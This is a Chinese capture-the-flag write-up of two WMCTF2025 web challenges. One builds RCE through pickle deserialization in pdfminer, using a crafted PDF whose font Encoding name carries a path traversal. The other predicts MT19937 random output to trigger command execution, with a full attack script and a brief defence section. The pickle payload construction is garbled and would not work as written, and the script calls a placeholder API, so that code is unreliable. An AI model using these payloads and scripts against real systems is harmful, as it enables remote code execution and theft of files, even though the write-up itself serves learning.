WMCTF2025 Web部分题解
字数 1151 2025-10-01 14:05:52
WMCTF2025 Web题解:PDF解析漏洞与随机数预测攻击
1. pdf2text题目解析
1.1 漏洞原理
该题利用PDF解析库(pdfminer)中的不安全反序列化漏洞,通过构造特殊PDF文件触发pickle.loads()实现远程代码执行。
关键漏洞点:
def _load_data(cls, name: str) -> Any:
name = name.replace("\0", "")
filename = "%s.pickle.gz" % name # 文件名可控
# ...路径遍历逻辑...
path = os.path.join(directory, filename) # 路径拼接
gzfile = gzip.open(path)
return type(str(name), (), pickle.loads(gzfile.read())) # 反序列化点
1.2 利用条件
- 控制PDF的
/Encoding属性值 - 服务器存在文件上传功能
- 可上传.gz格式的恶意序列化数据
1.3 利用步骤
步骤一:构造恶意序列化文件
import pickle
import zlib
import gzip
# 构造RCE payload(创建静态目录并输出flag)
payload = b"""__import__('os').system('mkdir /app/static')
__import__('os').system('cat /flag > /app/static/flag.txt')"""
# 使用STOP操作码限定反序列化范围
pickle_payload = b'''(S''' + payload + b'''
tR.'''
# 生成gzip压缩文件(使用无压缩模式保证格式合法)
with gzip.open('attack.pickle.gz', 'wb') as f:
f.write(pickle_payload)
步骤二:构造恶意PDF文件
PDF对象需要包含可控的Encoding属性:
%PDF-1.4
1 0 obj << /Type /Catalog /Pages 2 0 R >> endobj
2 0 obj << /Type /Pages /Kids [3 0 R] /Count 1 >> endobj
3 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Resources << /Font << /F1 4 0 R >> >> /Contents 5 0 R >> endobj
4 0 obj <<
/Type /Font
/Subtype /Type0
/BaseFont /HeiseiMin-W3
/Encoding /#2Fapp#2Fuploads#2FAttack-H <!-- 关键:路径遍历 -->
/DescendantFonts [6 0 R]
>> endobj
5 0 obj << /Length 60 >> stream
BT /F1 12 Tf 100 700 Td (Chinese Test) Tj 0 -20 Td (Attack PDF) Tj ET
endstream endobj
6 0 obj << /Type /Font /Subtype /CIDFontType0 /BaseFont /HeiseiMin-W3 /CIDSystemInfo << /Registry (Adobe) /Ordering (Japan1) /Supplement 0 >> >> endobj
xref 0 7
0000000000 65535 f
0000000009 00000 n
0000000058 00000 n
0000000115 00000 n
0000000251 00000 n
0000000369 00000 n
0000000489 00000 n
trailer << /Size 7 /Root 1 0 R >>
startxref 629
%%EOF
关键技术点:
- 路径遍历:使用
#2F代替/绕过PDF格式限制(#2F是URL编码的/) - 文件格式:PDF必须包含有效结构(trailer、xref等)
- gz格式要求:内部必须为合法的DEFLATE数据流
1.4 攻击流程
- 上传恶意.gz文件到
/app/uploads/目录 - 上传恶意PDF文件触发解析
- PDF解析器加载
/app/uploads/Attack.pickle.gz - 触发
pickle.loads()反序列化执行RCE命令 - 通过
/static/flag.txt获取flag
2. guess题目解析
2.1 漏洞原理
利用Python随机数生成器(MT19937梅森旋转算法)的可预测性,通过收集足够数量的随机数输出,预测后续随机值。
随机数生成关键代码:
key2 = random.getrandbits(32) # 生成32位随机数
2.2 MT19937算法特性
- 周期:2^19937-1
- 状态数组:624个uint32值
- 输出:每624次生成后重新旋转状态数组
- 可预测性:获得624个连续输出即可预测后续所有输出
2.3 利用步骤
步骤一:收集随机数样本
通过注册用户或API接口收集至少624个key2值(32位整数)
步骤二:重建随机数状态
from mt19937predictor import MT19937Predictor
import random
predictor = MT19937Predictor()
# 填入收集到的624个随机数
for i in range(624):
predictor.setrandbits(collected_values[i], 32)
# 预测下一个随机数
next_key2 = predictor.getrandbits(32)
步骤三:构造RCE Payload
由于无回显,需要将命令结果写入web目录:
# 预测key2后执行的payload
rce_payload = [
"__import__('os').system('mkdir /app/static')",
"__import__('os').system('cat /flag > /app/static/flag.txt')"
]
2.4 完整攻击脚本
import requests
from mt19937predictor import MT19937Predictor
# 1. 收集随机数样本
collected_values = []
for i in range(624):
resp = requests.get('/api/get_key2') # 假设的API接口
key2 = resp.json()['key2']
collected_values.append(key2)
# 2. 重建预测器
predictor = MT19937Predictor()
for val in collected_values:
predictor.setrandbits(val, 32)
# 3. 预测下一个key2并发送RCE
next_key2 = predictor.getrandbits(32)
payload = {
"key2": next_key2,
"command": "mkdir /app/static; cat /flag > /app/static/flag.txt"
}
requests.post('/api/execute', json=payload)
3. 防御方案
3.1 反序列化漏洞防御
- 禁用不必要的反序列化功能
- 使用安全替代方案(如JSON)
- 对反序列化操作进行沙箱隔离
- 校验输入数据的合法性
3.2 随机数安全防御
- 使用加密安全随机数生成器(
os.urandom()) - 避免泄露随机数内部状态
- 对关键操作使用不可预测的随机数
- 定期重置随机数生成器状态
4. 总结
两道题目分别展示了:
- pdf2text:文件格式解析与反序列化链的利用
- guess:伪随机数算法的密码学安全问题
关键攻击技术包括:
- PDF属性控制与路径遍历
- pickle反序列化payload构造
- MT19937状态重建与预测
- 无回显RCE的成果外带方法
这些漏洞在真实Web应用中同样存在,需要开发者充分理解底层机制并实施适当防护措施。